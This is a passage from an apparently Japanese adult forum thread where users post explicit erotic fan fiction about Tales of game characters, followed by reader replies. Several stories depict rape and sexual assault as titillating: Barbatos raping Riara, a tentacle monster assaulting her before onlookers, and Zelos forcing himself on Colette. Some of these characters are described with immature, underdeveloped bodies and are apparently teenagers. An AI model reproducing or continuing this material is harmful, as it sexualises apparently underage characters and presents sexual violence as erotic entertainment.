哄笑を上げ、バルバトスは最後の一撃とばかりに腰をリアラの尻に思い切り叩きつける。
「そんなぁあああぁっ!!」

びゅるるるるるるるるるるっ!どぷっどぷっ!

「いやああああああああああああぁっ!!」

「…あ、あぅ…」
腰を上げたみっともない格好のまま、リアラは痙攣し動けなくなる。
「貴様は俺の最高のおもちゃだったぜ…くくく、俺も神とは少しばかり縁があるんでな。
空間移動についていくことぐらいできる。」
「…い、いやぁ…」
「次は尻だな」
「ひ…」

続く

747 名前:girl :2006/08/20(日) 09:53:52 ID:puwbSAIi
「part3 続・ストレイライズ神殿にて」

じゅぽっ、じゅぽっ、ぎゅぽっ

「はあぁっ、ああっ、あぁんっ…」
リアラは尻の穴を後ろからバルバトスに犯され続けていた。神の化身である
リアラの体はどの部分もとてつもない快楽を相手に与えるようで、このまま
いつまでも続けられそうであった。リアラの腰は常人離れした腕力で操られ、
完全に動きを支配されていた。生まれて間も無いリアラはこれほどの絶望感を
味わったことは初めてで、自らが神の化身でありながらも神にすがりたい気持ち
であった。

ずぷっずぷぅっずぷっずぷっ

「あ、あぁんっ、あぁん、ふぁんっ!」
「むうぅ、こいつは本当にいい…そろそろいくぞ…」
「その子を離せーーーーーーーっ」
そのとき、何とか立ち上がったカイルが剣を持って襲い掛かった。
「カ、カイル、さん…?」
バルバトスは武器をもっていない。カイルの剣が迫る。
「うおおおっ!!」

ピシッ!

バルバトスは、なんとひとさし指と中指でカイルの剣を止めた。
「あ、あぁ…」
リアラの顔から希望の色が消える。
「小僧にはこいつは助けられん!黙って見ていろ!」
指二本の力で投げ飛ばされるカイル。

748 名前:girl :2006/08/20(日) 09:54:56 ID:puwbSAIi
ずぷっ!ずぷっ!ずぷっ!ジュプッ!

ピストン運動が速くなる。
「はあぁんっ、あぁん、あぁあん!ひくっ、もう、本当に、許し、てぇっ!」
リアラは泣き出し、懇願するが、バルバトスは聞く耳を持たない。

ジュプッ!ジュプッ!ジュプゥッ!ジュプゥッ!!

もはやリアラにできることは大人しく尻穴に精液を注ぎ込まれることだけであった。
「食らえっ!」
「うあぁああんっ!」
これから尻の奥に与えられるであろう刺激にそなえ、リアラの尻穴がきゅっとすぼまる。
「ぬっ!?」

ずるるるるるるっ

突然、こびりついた体液を撒き散らしながらモノが抜ける。
「ひああああああぁあんっ!?」
その突然の排泄に似た刺激にリアラは声を上げた。

びゅるるるるるるっ、びゅる、びゅるっ

先端からものすごい量の精液がほどばしり、リアラの後頭部、背中、尻にばらまかれた。
「ふあぁああぁ…あ、熱いぃ…はぁぁああああんっ…!」
そのあまりの熱さにビクビクと痙攣するリアラ。

749 名前:girl :2006/08/20(日) 09:56:06 ID:puwbSAIi
晶術だろうか、黒い空間がバルバトスの後方にできており、そこにバルバトスが
引き寄せられている。
「ぐっ、なにやつ!」
「カイル、受け取れっ!」
精悍な若者の声が聞こえる。次の瞬間、カイルに向かって剣が飛んでくる。
「うおおおおおーーーーーーーーーーっ」
剣を受け取ったカイルは空間に引き寄せられ体の動きの鈍っているバルバトスに
突きかかる。

ドスッ!

バルバトスは鈍っているとはいえ左腕をかなりの速度で動かし、何とか体を庇う。
剣は左腕を貫き、鮮血がほどばしった。
「ぬぅっ…!!!!この俺の体に傷をつけるとは…!!」
黒い空間は既に消え、バルバトスは力任せに剣を腕から引き抜く。
「…くくっ、この俺の渇きを癒せるものがいるとはな…カイルか…その名、
覚えておくぞ」

バルバトスの体がゆらめいたと思うと、次の瞬間には消えていた。
こうして謎の男は去った。

リアラは意識が朦朧としていた。傷ついた少年と助けてくれた若者に心の底から感謝し、
そのまま気を失った。その後、自分には仲間が必要であるというフィリアの忠告により、
カイルたちと行動をともにするようになった。それ以来、カイルに対するリアラの態度
からは棘が無くなったという。

750 名前:girl :2006/08/20(日) 09:57:41 ID:puwbSAIi
終了です。

751 名前:名無しさん@ピンキー :2006/08/20(日) 10:10:48 ID:5cSFkXJd






















752 名前:名無しさん@ピンキー :2006/08/20(日) 17:12:12 ID:Xv01rpMU
テラワロスwwwwGJwwwwwwwwwww

753 名前:名無しさん@ピンキー :2006/08/20(日) 19:24:53 ID:v42+gSp/
>>750
文才ないからあきらめろ

754 名前:名無しさん@ピンキー :2006/08/20(日) 19:25:26 ID:v42+gSp/
>>750


755 名前:名無しさん@ピンキー :2006/08/20(日) 20:29:03 ID:7m0Bw9ps
>>750 GJ!また書いてくれ。

756 名前:名無しさん@ピンキー :2006/08/20(日) 20:35:36 ID:Xv01rpMU
>>753
これギャグSSじゃないの?

757 名前:名無しさん@ピンキー :2006/08/21(月) 00:10:30 ID:XVEA3dBy
>>750
いきなり肉棒取り出す穴子GJ
次はフォルネウスにウネウネされるSSキボン

758 名前:名無しさん@ピンキー :2006/08/21(月) 17:43:36 ID:sj7x+F3v
「は、はいっ、小さく、こぎれいで」 ワロスwwwwwwwww

759 名前:名無しさん@ピンキー :2006/08/22(火) 14:57:13 ID:IqYO7Sy7
>>356
出ていけ、二度と来るな

760 名前:名無しさん@ピンキー :2006/08/24(木) 02:29:34 ID:mUPDsyzs
メルディたんハァハァ

761 名前:スケブ :2006/08/24(木) 07:11:42 ID:SJPFGent
ゼロス×コレット(ややコレット×ゼロス)投下します。
やや無理矢理的な描写があるんで苦手な人すみません。

タイトルは「目覚める夜」です。徹夜で何書いてるんだろう俺……orz

762 名前:スケブ :2006/08/24(木) 07:12:53 ID:SJPFGent
 世界が闇に沈む中で、コレットは一人宿を抜け出して一人歩いていた。星すら輝かない夜は、不意に孤独と不安を加速させる。
 暫く一人歩いたその先にはいくつもの花が咲いていた。
(花はまだ、ちゃんと咲いてるんだ)
 だけどこの花はいつ失われるか分からない。コレットは知っている。世界は滅亡へと進みはじめている。
(だから私が……、世界を救う。神子として……)
 ロイドと、みんなと、世界を救う。
 そう心の中でつぶやくと、胸に不思議なほどの勇気と、希望と――少しだけ不安が広がっていくのを感じた。コレットは信じている。絶対世界を救えると信じている。だけど少しの不安はぬぐえないのだ。
「はー、ダメだなあ〜……、私って」
「何がダメなのよ?」

 きゃあっ、とコレットが澄んだ悲鳴をあげる。
「ゼロス……」
「どうもこんばんは〜、コレットちゃん♪」
 いつの間にいたのか、その後ろには火の色髪をなびかせて、軽薄な笑みを浮かべるゼロスがいた。

「びっくりした〜……、ゼロスも眠れなかったの?」
「俺様はあんまり寝なくても生活できるように出来てんのよ。何てったって寝る時間も削んねえとハニーたちのアプローチに答えきれないからねぇ」
「え、だ、ダメだよ! ちゃんと寝ないと身体壊しちゃうよ?」
「ご心配どうも。で、コレットちゃんは眠れないんだ?」
「……」

 ぴしゃりと図星をつかれて、コレットは黙ってしまう。まるで叱られた子犬のようにうつむいてしまったコレットの頭をゼロスは軽く撫でる。
「コレットちゃんのことだから、これからのことが不安だったんだろ。本当に何の犠牲のない世界はやってくるのか、とか、本当に世界を救えるのかとか。そんでもって、そんなことで不安になったりする自分が神子として情けなくて仕方がない……ってな感じかい?」
「……うー」全て図星だ。
 コレットの表情を返答として受け取ると、またゼロスが「ひゃひゃひゃ」と下品に笑った。それでコレットの肩をぽんぽん叩いたあと、不意に真面目な表情になる。

「……俺様は、それは当然のことだと思うぜ。誰も犠牲にならない、理想の世界。それを実現する前に人は、色んな人を犠牲にし過ぎた」
 コレットが神妙な顔でうなだれた。例えこれから誰も犠牲にならない世界が来たとしても、犠牲になった人は戻らない。だから――哀しい。
「でもな、悔いたって何も始まらねえさ」
 よどんだ空気を掃き出すようにゼロスがぱっと笑顔になる。

「コレットちゃんはロイドくんが好きなんだろ?」

 途端にコレットの頬がぼんっと音を立てて真っ赤に染まる。訳の分からない言葉を喋りながら両手をでたらめに動かしても否定どころか肯定にしかならない。
「じゃーコレットちゃんはロイドくんを支えてあげるしかないでしょ〜よ! ……コレットちゃんがそんな顔してたら、ロイドくんの理想が折れちまうぜ?」
 にっと笑いながらゼロスがコレットの額を軽くつつく。なんとなく恥ずかしい気持ちになりながらも、ゼロスが自分を励ましてくれていることだけは分かって――コレットもにっこり笑った。

「うん、ありがと。ゼロス」

 コレットの満面の笑みを見て、ゼロスも笑顔になった。そしてコレットの肩に手をやる。笑顔のままで、本当に無邪気な笑顔のままで。

 コレットの身体を、押し倒した。


763 名前:スケブ :2006/08/24(木) 07:15:05 ID:SJPFGent
「……ゼロ、ス?」声が何だか震える。
「……駄目だよなあ、俺様は」
「どしたの、ゼロス」
「やっぱり俺様は、出来損ないの神子なんだよなあ」
「ねえ……、ゼロス? どうしたの……ふっ」

 舌を差し入れられて、絡めとられる感触にコレットはふるっと身体を震わせた。
「ふぅ、んん……、んうぅ……」
 呼吸すら許さないままゼロスの手が、指が、コレットが恥ずかしがる部分へと伸びていく。
「やっぱコレットちゃん、胸はちっちぇえけどちゃんとやわらけえな」
「や、触っちゃ駄目ッ!」
 成熟していない、もしかしたらこれから成熟することなんてないんじゃないかと思うくらいささやかなコレットの胸を、ゼロスの手のひらが柔らかく包みこみ、やさしく愛撫した。乳首をいたずらにつままれてコレットが流石に声をあげる。
 コレットの意識が胸へと集中する間、ゼロスはコレットのタイツを器用に降ろして下着を剥がした。ロイドすら触れたことのない清らかな部分を守ろうとするコレットの両足を押し開いて、蕾を手探りで探し当てる。


764 名前:スケブ :2006/08/24(木) 07:18:38 ID:SJPFGent
「んんっ!」

 初めて味わう感触にコレットが戸惑う。神子として育てられた故に、自慰の知識もないコレットの蕾をゼロスが容赦なくこりこりと刺激する。
「んっ、んぁっ、ゼロスッ! だめ、だめぇ! やめてッ、あっ」
 乱れた服で、必死に嫌々するコレットだが、コレットのその仕草はゼロスの情欲をあおるものでしかない。
「ゼロス……、ねえ、何なんだろ、コレ……、なんでこんなこと、するの? ひぁっ!……」
「さあねえ……、俺様も自分でも分かってねえのよ」
「もうやめ、てぇ。ゼロス。ゼロス。あっ、あっ、んっ……」

 あーっ! と悲鳴のような声と共に、コレットの身体にぞくりと悪寒のようなものが走った。
 それはゼロスに愛撫され始めてから膨れ始めたものが、一気にはじけた開放感。そこで初めてコレットはゼロスの責めから解放される。蕾は溢れんばかりの蜜で濡れ、その奥はまだどくんどくんと熱持っていた。

765 名前:スケブ :2006/08/24(木) 07:19:44 ID:SJPFGent
 暫くコレットは荒れた息を整える。服を直す気力も起きない。
「……ゴメンな、コレットちゃん」
 初めての性的快感とその絶頂を迎えたコレットは、ゼロスの謝罪に答えを返すことが出来なかった。
「俺様はやっぱり、出来損ないの神子だな。世界を救うことで真剣に悩んで、好きな奴に一途に恋してたキレーなコレットちゃんを、……汚しちまうなんて」
 ぽたっと、その目から一筋涙がこぼれたのを、コレットは見逃さなかった。
「今夜のことはお互いなかったことのしようや。明日から俺様とコレットちゃんは今までとは変わりない、仲間だ。それがお互い一番いいと思うぜ」
 そう言ってゼロスは闇に落ちた道を振り返り、立ち上がろうとする。

 しかしその身体をコレットの手に止められた。

「……コレットちゃん。マジで勘弁してくんない? 俺様自分抑えらんなくなるからさ」
「だって、ゼロスが、何だか淋しそうなんだもん……」
「気のせいだよ。俺様も男だからさ〜? そ〜んな淫らな格好で攻め寄せれたら動揺しちゃうって……ってそんな姿にしたのは俺様なんだけど」

 自嘲気味にゼロスがつぶやく。コレットの中で、何かがはじけた。
 するりと自分の纏っていた服を脱ぎ捨て、裸のままゼロスの背中に抱きつく。ゼロスの体が分かりやすいほどに硬直するのが分かった。

「ちょ……、ま、マジでやめてくんないかな。俺様コレットちゃんにもっとひどいことしちゃうかも……」
「だいじょぶだよ」
「へ?」
「私は世界を救いたい。それと同じくらいの気持ちで、今のゼロスを救いたいよ。……私が全部受け止めてあげる」
「う、受け止めるって」
「あ、も、勿論犠牲になるわけじゃないんだよ? その、えっと、さっきゼロスが私にえっちなことした時ね、私初めてだからすごーくびっくりしたけど、ちょっと痛かったんだけど……きもちよかったの」
「…………」

 顔を赤らめながらもじもじと目を逸らすコレットを見て、ゼロスはあんぐりと口をあけて黙ってしまった。

766 名前:スケブ :2006/08/24(木) 07:21:23 ID:SJPFGent
「あの、でも私初めてだから……痛くて泣いちゃうかも知れないけど、ごめんね!」

 言い終わると同時に、コレットの身体にもう一度ゼロスの身体が覆い被さった。
 しかし愛撫は先ほどよりも優しい。充分に潤ったコレットの秘部から、くちゅ……と時折水音が零れた。
「……んん……」
 もう一度、コレットの女の部分が膨れ始める。へその下が熱い。

 暫くコレットの秘部を愛撫し続けたあと、ゼロスはいきり立つ自分のものを抜き出した。薄暗い視界の中でもはっきりと見えてしまった始めて見る男性器から、コレットの目は釘付けになってもう視線を逸らせない。
「……おっきぃ」
 思わずつぶやきが漏れていた。コレットに性の知識はない。自慰を知らなければ、セックスも知らない。だけどコレットは本能で、ゼロスの性器を見た瞬間理解した。自分の今一番熱くて切ない部分に――あれが入ろうとしているのだ。

 だいじょぶなのかな、とか、あんなおっきぃの入るのかな、と不安になっている間に、その先がコレットの秘部へとあてがわれる。
「コレットちゃん、痛いだろうけど――力抜いてな?」
 ゆっくりとコレットを労わるように、ゼロスがコレットの胎内へと進む。
「ひ……ぃ、たッ」
 しかし初々しいそこは狭く、コレットは痛みに身をよじらせた。はー、はー、と息を吐きながらなんとか力を抜いて痛みを軽減しようとする。

767 名前:スケブ :2006/08/24(木) 07:23:05 ID:SJPFGent
「い……あ゛ぁっ!」

 裂けたと思った。
 あまりの痛みに思わず零れた涙を、ゼロスの舌が舐める。
「ほら、……挿入ったぜ?」
 思わず閉じてしまった両目を開けると、ゼロスの顔が間近にあった。足の間に確かに挿入感を感じる。熱いものが挿入ってる。そう考えると、コレットの女が一気に高まった。
「ゼロス。動いて?」
「でも、痛いんじゃねぇの? コレットちゃん」
「だいじょぶだよ♪ だから、ね? 早くうぅ……」

 恐る恐るゼロスが腰を動かす。初めはゆっくりだったスピードが、どんどん速度を増すのが分かる。
「んっ、んっ、あっ、あんっ! んぁあっ!」
 初めこそ痛がっていたコレットも、気がつけば自らも腰を動かし、最も気持ちよくなれる部分を無意識に探していた。抑えきれない声は高らかに響き、結合部から溢れる「ぐちゅっくちゅっ」と言う淫らな音と混じりあう。
「コレットちゃんの中、凄くいいッ。俺様もう、」
「あん、いいよ、だいじょぶ! あっ、私が、全部受け止めてあげるッ!」
 性器を抜き出そうとするゼロスの腰にしがみつき、コレットは自分の胎内にゼロスを一層深く突き入れたその時だった。ゼロスのものがびくんと脈打ったのは。
 熱い液体が注がれる感触にコレットの子宮が耐えられる筈がない。

「あぁァーーーー!」

 長い金髪を振り乱し、コレットの身体を稲妻のような快感が走る。叫びは夜にとけ、エコーすらかからずに消えた。



 それから二人は眠れない夜を迎えるたび、身体を重ねあっている。あれからコレットはいつもの彼女とは想像もつかないほどの淫らな姿を見せていた。

768 名前:スケブ :2006/08/24(木) 07:26:18 ID:SJPFGent
最後の方力尽きたな感が溢れる終わり方ですみません。
終わりました。意外と長くなりました。朝っぱらから失礼しました。orz

では折角の休みなので寝てきます。お休みなさい。

769 名前:名無しさん@ピンキー :2006/08/25(金) 00:37:24 ID:gZBagYQT
GJ! おもしろかったお
また書いてほしいお

770 名前:名無しさん@ピンキー :2006/08/25(金) 01:46:45 ID:N4alEv7U
 

771 名前:名無しさん@ピンキー :2006/08/25(金) 13:45:40 ID:nhuKBWr2
>>768
GJよくできてる


772 名前:名無しさん@ピンキー :2006/08/25(金) 14:37:02 ID:5FVCPGV8
コレッdハァハァ

773 名前:ケン :2006/08/26(土) 01:58:20 ID:YIl2xfiM
イオアニ書いてたら途中で携帯のバッテリーが切れてやる気なくしたす。
もういやだ。
かわりに書いた突発的キルメル投下します。
アビスとエタとシンフォしかプレイしてないオイラ・・・

774 名前:ふたつの想い―キルメル編― :2006/08/26(土) 02:01:03 ID:YIl2xfiM
 その日は、旅の途中、久し振りに宿をに訪れたときのことだった。
 月明かりが辺りを支配して数刻が経った頃、割り当てられた部屋で一人、部屋から出て行く影。静寂が包み込む中、深緑のややくせっ毛のあるおかっぱの少女――ファラは、誰にも気が付かれぬよう、静かに部屋を後にした。
 ―――はずだった
「ん・・・ファラ?」
 眠りが浅かったのだろう。部屋の扉を閉めた僅かな音に反応し、くるまっていた布団からもぞもぞと体を起こす。
「おトイレか・・・?」
 それならそれで問題はない。
 おろしている淡い紫色の髪の先を指で持て遊びながら、メルディはファラの帰りを待った。
 しかし、半刻程待っても、ファラが部屋に戻って来る気配が感じられなかった。
 紫色のフワフワの髪の少女は、自分の身を守る体術は持ち合わせていない。だから、夜な夜な一人で出歩くなと仲間からくどいように言われていた。晶霊術師の彼女には隙が有りすぎるからだ。
 それでも、それでも。
「捜しに行くくらいなら・・・いいよな?」
 同じベッドの台で眠る小さな小動物を優しく撫で、メルディは部屋を後にした。

□ ◆ ■ ◇

 メルディは部屋を出てすぐ、ファラを見つけた。
 男女別に部屋を借りていたため、もしかしたらと思い、仲間の部屋に訪れたのだ。
 気付かれぬように音を立てずゆっくりと扉を開ける。部屋の中の者たちは、メルディの存在に気が付いていないようだ。
(・・・リッドがファラ、二人でナニやってるか?)
 彼女から見ても不可解な行動。
 扉の隙間からはあまり見えないが、ベッドの上で、赤毛の髪の少年――リッドが、ファラに覆い被さっているように見えた。
「やっ・・・ん!リッドぉ・・・いいのぉ・・気もち、いぃのぉ!」
 メルディが見ているのも知らず、リッドの腰が激しく揺れる。その動きに合わせて、ファラの甘い嬌声が部屋に響きわたった。
(な、ナニか?・・・これ・・・)
 自分の知らない二人の行為に驚きながら、メルディは物音を立てずにその場に力無く座り込んだ。
 動機が激しくなってきたことにも気が付かず、メルディは呆然と二人の行為眺めていた。
(えっ?)
 ふと、後ろからの気配を感じると、気が付けば口を塞がれ、次にはズルズルと引かれるようにその場を後にした。

□ ◆ ■ ◇



775 名前:ふたつの想い―キルメル編― :2006/08/26(土) 02:02:59 ID:YIl2xfiM
(だ、ダレか・・・?)
 半ば抱き寄せられた体制のまま、有無も言わずに部屋まで戻されると、腕で覆われていたの口が解放された。
 何かを察知したのか、メルディのベッドで寝ていたはずのクィッキーの姿はない。
 窓から差し込んだ月明かりで認めたキールの姿。
「はぁ・・・お前、あんなところで何やってたんだよ」
「あ・・・えっと・・・」
 真正面に向かい、少し怒っているようで呆れている声を向けられ慌てて言葉を返す。
「ファラがな、部屋からいなくなって・・ゼンゼン戻って来なかった・・・捜したよ。そしたら・・・ファラがリッドとナニかしてて、気になって・・・」
「だからって見ても良いものでは無いことくらい判るだろう?!」
「だって・・・ホントにナニかわからなかったな・・・キールはナニかわかったか?」
「そ、それは・・・」
 問いつめていた立場のキールは、逆に問いつめられる側に回る。ぐるぐると回る思考を整頓させながらひたすらに考え込んだ。
(と言うか、こいつあの二人の行為を見ても判らなかったのか?い、いや、こいつにそんなものが判るわけがない!その前に、そんなことをぼく以外の・・・奴に訊いたりしないだろうな?!)
「なぁ、キールぅ。さっきのナニか教えてな」
「んなっ!・・・お、教えられるわけないだろ!」
「なんでかぁ〜!メルディ、今、キールが教えてホシイよぅ」
 めまぐるしい思考の中、甘えた声が聴こえた。もはや、逃げる術はないようだ。
(あぁ・・・もぅ、こいつは!)
「キー・・・んっ?!」
 彼女から発せられる名前を遮断するように、キールは噛みつくように唇を重ねた。
 口付け自体は初めてではない。互いの想いを通じ合って、数えきれるくらいしかしてはいないけれど。
 いつもの優しいものとは程遠く濃厚な口づけ。それでも辞めて欲しいとは思わない。互いの唇が離れても、また直ぐに口付ける。
 キールがメルディを解放すると同時に、力をなくした体が、くたりと彼に崩れ落ちた。
「すまない」
「はぁ・・・ナゼ、アヤマルか?」
「いや、その・・・」
「メルディ、キールとなら・・・いいよ」
「メルディ・・・」
 自分の腕の中で、紅潮した頬で哀願されるかたちとなったキールは、理性が吹き飛びそうになる思いがした。

□ ◆ ■ ◇


776 名前:ふたつの想い―キルメル編― :2006/08/26(土) 02:04:44 ID:YIl2xfiM
「ひゃあ、あっ・・・んん」
 まだ幼い雰囲気を残す少女は、ベッドに座っている長身の少年の胸板に背中を預け膝の上に腰を降ろし、ただただ、茂みにうごめく、白くて大きな長い指に合わせて声をあげる。
「あ・・あっ・ん・・・き、るぅ、あっ・・・」
 キールは、左手をベッドにつけ、右手を彼女の足の付け根へと指を伸ばした。
「んっ、そこっ、いい・・あん!」
 彼女の声に合わせ、徐々に大きくなっていく自分の欲望を耐えているのは、もはや男としてのプライドだけ。
 彼女を押し倒し、今すぐその両足を押し開いて、中で果ててしまいたいという衝動に駆られる。
 それでも。自分が求めている少女がおそらく初めてであろうため、傷つけたくないという想いで先の行為に進めないでいる。
 ―――そんなキールの思考を前に進めたのは、他ならぬメルディの言葉だった。
「キー・・ルぅ、もっと、して・・・な」
 自分の中でうごめくキールの指に与えられる快感に耐えきれず、途切れ途切れに声を漏らす。
 その言葉を合図にして、キールはそっと少女を押し倒した。

□ ◆ ■ ◇

 ベッドに押し倒した少女に覆い被さると、暗闇の中ほのかに淡い光を放つエラーラにキスを落とす。そしてそのまま紅潮した頬に唇をずらしていき、もう一度その桜色の唇に触れた。幾度も角度を変えながら口づけを交わす。
「メルディ・・・」
「ふ、はぁ・・・キールぅ」
 まるで、愛おしいと言い合うかのように互いの名前を呼び合う。
 キールはそのまま下腹部に指を移動させると、先程の愛撫で濡れぼそったメルディの秘洞に触れた。
「んっ・・・!」
 全身がピクンと揺れる。どうやら、彼を受け入れる準備はすでに整っているようだ。
 キールがメルディを貫くと、華奢な体が弓なりになり、苦痛で顔をしかめているのがよくわかった。
「力、抜け。大丈夫だ」
「ん・・・く、ん」
 キールは耳元で安心させるように声を紡ぐと、応えるようにぎゅっと抱き締めてくる。
 内側からの痛みに耐えきれず、メルディは彼の背中に爪を立てて必死になって耐えた。
「まだ痛いか?」
「ん、ダイジョウブ・・・」
 心配かけぬよう作り笑いを浮かべるもののその表情はあまりにも痛々しい。

777 名前:ふたつの想い―キルメル編― :2006/08/26(土) 02:06:03 ID:YIl2xfiM
 だが、今更やめるわけにもいかない。けなげに応えるメルディに長期の苦痛を与えるわけにはいかない。そう考えたキールは、メルディの中でゆっくりと反復し始めた。
「ん、くっ、んんん」
 時々、痛そうに眉をしかめる表情が、キールの思考を焦らせる。
 微妙な体の反応と洩れる声で、感度の高いポイントを捜す。
「ふ、あっ?!あ、ひぁ、ゃあ」
(―――!?・・・ここなのか)
 すると、先程まで苦痛の声しか洩らさなかった口から、明らかに快楽の声が洩れ始める。
 キールがそのポイントを中心に突き始めると、メルディの表情が変化していた。明らかに感じている。瞳を閉じて、必死に襲い狂う悦楽に耐えていた。
「ひゃっあ・・・!すごっ・・・な、んか、ヘンだ、よぉ」
「あ、くっ・・・!」
 しかし、快楽に震えているのは彼女だけではない。キールもだ。ちぎれそうになる感覚とはこのようなことを言うのだろう。きつく締め付けてくる秘洞が彼の快感をよりいっそうに膨らませる。
「きもち、いぃよぉ!キールぅ」
 淫らな音と嬌声が、限界を訴えている。
「んっ!メル、ディ・・・も、ふぁぁ――!」
「く、はっ!」
 一際高く鳴いたメルディに誘われるかのように、キールの意識も頂点に達した。
 一足早く眠りこけた少女を抱き締めると、エラーラに軽く口付けを落とす。そして、あとを追うようにしてキールも意識を飛ばした。

 ――翌朝
行き場をなくしたクィッキーが、メルディに発見されるまで窓の外で丸まっていたのは言うまでもない。


終(われ)

778 名前:ケン :2006/08/26(土) 02:07:05 ID:YIl2xfiM
以上す。
本番行為が短くて申し訳ないっす。
オイラ文才ないんかなー

779 名前:名無しさん@ピンキー :2006/08/27(日) 10:13:34 ID:UbYm4uL0
や、自分キルメル好きだからおk!GJだよ!!

780 名前:キルア :2006/08/29(火) 16:35:29 ID:okDGTbZ2
378から姿を消してたキルアデフキルメルGJですー

781 名前:名無しさん@ピンキー :2006/08/30(水) 03:27:58 ID:He62WHYa
きるメルGJ
誘い受けメルたそらしw

782 名前:名無しさん@ピンキー :2006/08/31(木) 23:52:09 ID:NlqLPqMq
キルメルgj

しかしクイッキーが可哀想だw

783 名前:名無しさん@ピンキー :2006/09/03(日) 10:31:40 ID:c1trouT2
だいぶ前にあったすずの日記が一番萌えたw

784 名前:名無しさん@ピンキー :2006/09/03(日) 10:33:05 ID:c1trouT2
すずの日記だれか復活して!

785 名前:名無しさん@ピンキー :2006/09/04(月) 16:41:56 ID:MgPBbi+i
たっちゃん氏以外の人が書いた場合パクリになってしまいます

786 名前:名無しさん@ピンキー :2006/09/04(月) 17:03:13 ID:CuZ159hO
小学生は帰れ

787 名前:名無し@ポンキー :2006/09/05(火) 21:32:07 ID:d/BKHdbp
てか無比露をアク禁にしてくれ

788 名前:名無しさん@ピンキー :2006/09/06(水) 23:25:56 ID:muVOQcv9
夏休み終わったら急に静かになりましたね
まぁそんなことより、TOPのフルボイスエディションに期待

789 名前:girl2 :2006/09/07(木) 21:01:37 ID:FVcX3for
リアラの触手ネタ投下します。激しいのが苦手な人は注意してください。

790 名前:girl2 :2006/09/07(木) 21:02:49 ID:FVcX3for
「part4 海上にて」

4人はアイグレッテから出航した船の底で魔物と戦っていた。
「これいじょう船底の穴を広げられるわけにはいかんぞ!」
仮面の男、ジューダスが叫ぶ。
「んなこと言ったって、触手が邪魔で本体に近づけねぇんだよ!」
ロニが大量の触手をさばきながらどなる。
相手の魔物がスプラッシュを唱える。突然大量の水が発生し、激しく床を
打ちつける。とんでもない水圧によって床が軋み、船が大きく揺さぶられる。
「うわぁあああああっ」
立っていられるものはいない。
揺れが収まった。リアラは頭をさすりながら体勢を整えようとする。
「あいたたた…え?」
リアラは自分のスカートがめくれ、白い足と下着が丸見えになっていること
に気がついた。
「きゃ…!」
慌てて隠す。どうやら他の3人には見られていなかったようだ。
そのとき、突然魔物の攻撃が止んだ。
「なんだ?」
カイルが訝しむ。
魔物の目がリアラへと向いた。
「え、なに…?」
瞬間、触手が一斉に襲い掛かる。
「きゃあああああああぁっ」
十数本の触手が絡みつく。ジューダスが短剣を投げたが二、三本の触手を
切り裂くだけに終わり、リアラの体はそのまま一気に本体近くまで運ばれた。

「な、なにをする気なの…ひっ!」
触手がスカートの中へ入り込み、太股をまさぐる。
「ちょ、やめて…」
男達3人は助けようとするが触手に阻まれて進めない。
そうこうしているうちに下着を剥ぎ取られる。
「いやぁっ!」

ビリッ

触手が尻の穴に舌を滑らせる。
「は、はぅっ」
さらに秘部を剥き、突起にも舌を滑らせる。
「そ、そこはやめふぁああぁんっ」
リアラが思わず上げた嬌声に硬直する3人。
リアラはそのまま前後の穴を刺激され続ける。

「………はっ!?」
無意識にリアラを凝視してしまっていたジューダスは我に返って、思い出したように言う。
「攻撃が止んでるな……リアラ、そのまま耐えていろ!船長に言って、穴が小さい
今のうちにどこかの島へ緊急でつけてもらう」

791 名前:girl2 :2006/09/07(木) 21:03:59 ID:FVcX3for
「え…」
リアラはジューダスの言葉を飲み込むのに少し時間がかかったが、あわてて
反論しようとする。
「でもそれは!」
「この船の全員の命がかかってるんだ!」
「は、はいっ」
ジューダスはなぜか仮面から血を滴らせながら漆黒のマントを翻して前傾姿勢で走り去った。

取り残された3人。
「……ん、ふ…ふぁ…ぁん…」
ジューダスに承諾の意志を示してしまったリアラはスカートの下で刺激を受けることに
耐え続けている。
「カ、カイル…ロニ…お願いだから目をつぶって耳を塞いで…」
リアラが懇願する。微妙な状況に二人が困惑しているそのとき、布が邪魔なのか、
触手がスカートを咥え上までたくしあげる。
「い、いやああああああああっ」
二人の目の前に、リアラの身体の胸より下の部分が全て晒された。年齢にしては未発達
な体型だが、白い両足の隙間には愛液らしきものが流れている。その姿を凝視する二人。
リアラは顔を紅潮させて足をもじもじと動かしながら言う。
「おね、がい…目をつぶって…」
「…」
しばし考え込むロニ。そして言い放った。
「…それはできないぜリアラ」
「え…」
「いつそのモンスターが凶暴化してリアラに危害を加えるか分からない。いつでも
対応できるようにはしておかないと」
「そんな…」
リアラはカイルのほうを伺う。
「…ごめん、リアラ。確かにロニのいうとおりだ。どんな小さな音も聞き取り、
どんな些細な動きも見逃さないようにしておく必要があるよ。」
二人はいままでにリアラが一度も見たことの無い真剣な顔で、不自然極まりない前傾姿勢で構える。
「そ、そ、そんな…」

「ふぐぅ、ふむむぅ…」
リアラは触手に口を犯され、秘部の突起をいじられ続けている。クチュクチュと水音が鳴る。
様子を見に船員たちが降りてきた。
「ふぐぅっ!?」
悲鳴を上げるリアラ。
「外にはみ出している触手は何とかしたが、こっちはどうなっているんだ!」
どやどやと梯子から15人ほど降りてくる。騒がしさに魔物の動きが止まる。
リーダーらしき男がそこで繰り広げられている光景に驚いて立ち止まる。
「こ、これはいったい…」
ロニがリアラを見ると、リアラはロニにコクコクと相槌を打つ。
ロニが男に説明する。
「〜という理由で船がつくのを待ってるんだが、あんたらが降りてきたせいで魔物の機嫌が
損なわれた可能性がある。」
「じゃあ俺らは出て行ったほうがいいか…」
股間から愛液を流して涙目になっているリアラのほうをチラチラ見ながら男が答える。
「待てっ、今出て行くと余計に刺激することになる。ここでじっとしているんだ。」
「ふむぅう〜〜!!!」
ロニの言葉に目を見開いて暴れ出すリアラ。しかし触手の力は強く、全く身動きがとれない。

ドクッドクッドクッビュクッビュクッ

「むぐううぅぅうううっ!」
頭を振り回そうとしたために口を犯していた触手が強く擦れ、リアラの口内へ多量の
白濁を吐き出す。ジュポッっと卑猥な音を立てながら触手が引き抜かれた。

792 名前:girl2 :2006/09/07(木) 21:05:05 ID:FVcX3for
「part5 続・海上にて」

17人もの人間の目が触手に弄ばれるリアラに集中している。
「は、恥ずかしい…んっ……」
スカートをめくられているだけだが、リアラの服の構造上、ほとんど全裸に近い姿を
晒していることになる。リアラはできるだけ身動きせず、秘部を弄られてもできるだけ
我慢して身体の反応を小さくするよう努力した。それでもリアラの安全のため聴力を
限界まで研ぎ澄ましている男達には水音が聞こえてしまうのだが。
「ひっ!」
触手が愛撫をやめ、前後の穴へと入りかける。
「気持ち悪い、やめてぇっ」
